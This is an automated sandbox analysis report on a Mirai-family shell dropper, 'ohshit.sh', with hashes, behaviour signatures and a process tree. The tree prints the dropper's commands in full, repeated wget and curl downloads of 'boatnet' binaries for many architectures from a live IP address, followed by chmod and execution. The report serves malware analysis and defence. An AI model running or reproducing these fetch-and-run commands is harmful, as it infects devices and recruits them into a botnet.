Analysis
-
max time kernel
150s -
max time network
140s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240226-en -
resource tags
arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
23-12-2024 05:02
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
ohshit.sh
-
Size
3KB
-
MD5
e0ccd217979419469e913cbef10872f3
-
SHA1
6bbef022dcf450af81bee90522e4c82069c84064
-
SHA256
288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71
-
SHA512
38402719e384396071ab1f779eb0d67a55570ecfb04018e47cafdfd73ce04984e15c0d2942b446cee5652a449e22a8690812dbe5fd232736cb8a3939531255ce
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 741 chmod 754 chmod 837 chmod 864 chmod 891 chmod 897 chmod 879 chmod 748 chmod 806 chmod 825 chmod 885 chmod 730 chmod 767 chmod 787 chmod 873 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/WTF 731 WTF /tmp/WTF 742 WTF /tmp/WTF 749 WTF /tmp/WTF 755 WTF /tmp/WTF 769 WTF /tmp/WTF 788 WTF /tmp/WTF 808 WTF /tmp/WTF 826 WTF /tmp/WTF 838 WTF /tmp/WTF 865 WTF /tmp/WTF 874 WTF /tmp/WTF 880 WTF /tmp/WTF 886 WTF /tmp/WTF 892 WTF /tmp/WTF 898 WTF -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF -
Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF -
resource yara_rule behavioral4/files/fstream-2.dat upx -
description ioc Process File opened for reading /proc/514/cmdline WTF File opened for reading /proc/684/cmdline WTF File opened for reading /proc/868/cmdline WTF File opened for reading /proc/876/cmdline WTF File opened for reading /proc/706/cmdline WTF File opened for reading /proc/877/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/807/cmdline WTF File opened for reading /proc/841/cmdline WTF File opened for reading /proc/878/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/477/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/831/cmdline WTF File opened for reading /proc/705/cmdline WTF File opened for reading /proc/801/cmdline WTF File opened for reading /proc/869/cmdline WTF File opened for reading /proc/852/cmdline WTF File opened for reading /proc/855/cmdline WTF File opened for reading /proc/861/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/900/cmdline WTF File opened for reading /proc/883/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/703/cmdline WTF File opened for reading /proc/813/cmdline WTF File opened for reading /proc/820/cmdline WTF File opened for reading /proc/828/cmdline WTF File opened for reading /proc/895/cmdline WTF File opened for reading /proc/708/cmdline WTF File opened for reading /proc/823/cmdline WTF File opened for reading /proc/829/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/867/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/704/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/858/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/832/cmdline WTF File opened for reading /proc/882/cmdline WTF File opened for reading /proc/889/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/894/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/824/cmdline WTF File opened for reading /proc/872/cmdline WTF File opened for reading /proc/510/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/842/cmdline WTF File opened for reading /proc/857/cmdline WTF File opened for reading /proc/470/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/888/cmdline WTF -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 734 wget 736 curl 740 cat -
Writes file to tmp directory 25 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.i468 curl File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/boatnet.ppc wget File opened for modification /tmp/boatnet.spc wget File opened for modification /tmp/boatnet.sh4 wget File opened for modification /tmp/boatnet.sh4 curl File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.ppc curl File opened for modification /tmp/boatnet.spc curl File opened for modification /tmp/boatnet.m68k wget File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.arm7 wget File opened for modification /tmp/boatnet.m68k curl
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:706 -
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.x862⤵PID:710
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.x862⤵
- Reads runtime system information
PID:717
-
-
/bin/catcat boatnet.x862⤵PID:728
-
-
/bin/chmodchmod +x ohshit.sh systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-MtWXll WTF2⤵
- File and Directory Permissions Modification
PID:730
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:731
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
PID:734
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:736
-
-
/bin/catcat boatnet.mips2⤵
- System Network Configuration Discovery
PID:740
-
-
/bin/chmodchmod +x boatnet.mips ohshit.sh systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-MtWXll WTF2⤵
- File and Directory Permissions Modification
PID:741
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:742
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:744
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:746
-
-
/bin/catcat boatnet.arc2⤵PID:747
-
-
/bin/chmodchmod +x boatnet.arc boatnet.mips ohshit.sh systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-MtWXll WTF2⤵
- File and Directory Permissions Modification
PID:748
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:749
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.i4682⤵PID:751
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.i4682⤵
- Reads runtime system information
- Writes file to tmp directory
PID:752
-
-
/bin/catcat boatnet.i4682⤵PID:753
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips ohshit.sh systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-MtWXll WTF2⤵
- File and Directory Permissions Modification
PID:754
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:755
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.i6862⤵PID:756
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:759
-
-
/bin/catcat boatnet.i6862⤵PID:766
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips ohshit.sh systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-MtWXll WTF2⤵
- File and Directory Permissions Modification
PID:767
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:769
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.x86_642⤵PID:771
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:776
-
-
/bin/catcat boatnet.x86_642⤵PID:785
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:787
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:788
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:789
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:796
-
-
/bin/catcat boatnet.mpsl2⤵PID:805
-
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:806
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:808
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:814
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:823
-
-
/bin/catcat boatnet.arm2⤵PID:824
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:825
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:826
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:828
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:829
-
-
/bin/catcat boatnet.arm52⤵PID:836
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:837
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:838
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:841
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:855
-
-
/bin/catcat boatnet.arm62⤵PID:862
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:864
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:865
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:868
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:871
-
-
/bin/catcat boatnet.arm72⤵PID:872
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:873
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:874
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:876
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:877
-
-
/bin/catcat boatnet.ppc2⤵PID:878
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:879
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:880
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:882
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:883
-
-
/bin/catcat boatnet.spc2⤵PID:884
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:885
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:886
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:888
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:889
-
-
/bin/catcat boatnet.m68k2⤵PID:890
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:891
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:892
-
-
/usr/bin/wgetwget http://154.213.187.234:3000/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:894
-
-
/usr/bin/curlcurl -O http://154.213.187.234:3000/hiddenbin/boatnet.sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:895
-
-
/bin/catcat boatnet.sh42⤵PID:896
-
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:897
-
-
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:898
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
23KB
MD5366837c461677cb1b37924604fe50564
SHA1ce442f4c57322b7dbafcaebd37cb0ee531d0ea4d
SHA256c28510d75f73788f786fb0e5f14f3b7d6e349e0eeaa5922c6743be66824b4c4f
SHA5124434b96a2931b0bbf39863cecd0c924e64e8d051b9277ae7a86ed151d60bdebfaf2f7b749ec6cad8a41000a3acb268adaea9f42868f5617a52f8053efad79840
-
Filesize
105KB
MD597a63a655202fc4ceb0f4a4957711dd4
SHA1ea5a84a5b260cacd1107e9bc05351ec52895e938
SHA2566d13de91a88aac152d7aeffedecc20414ed86d1c6cc58b5cc2bc7a439c57f620
SHA512d5463c0d4274bd6de9ea25d5ebd99afce000b2e3afad63099176ba49a7c80972244b259b3b438277acb997d3b612e52f5eaa998da2db0ea87daddd3e203b0a89
-
Filesize
232B
MD57dfb9a4219d20c6babc4877451844e3c
SHA18b56a18d01c00f757df29faeb95b2711ecd3cd18
SHA2569177a352dcbf8875ebb2e22e682760d47faa4d77398add153dd7084e7568c5bc
SHA5127355451c27cd2fe7e03af772a8911fff879e64b04c8e002d4335ff890957a04e611e444131ddab6e171e0a21a72cbbe75f9b5cc338a72d2d24ec6d71d59998c9
-
Filesize
57KB
MD5549940fef5478737eae8c25bcfed0952
SHA1bc44d8bf8282eddc6df04beb5d1d3dac465371db
SHA256e2409e6b5b2b1769f1f4eca9ee84024a59145cdcf7bf7893fcc83095f1bbfced
SHA5123f8a2d29f312e3ce30a1491b83f2a70c8bfe67b752b6e490ea8f6d129f15ad3847eaffcdffca4238d5171b0b1f6d2eaf2cc21ed8fc5b2b2f016c98407a349e08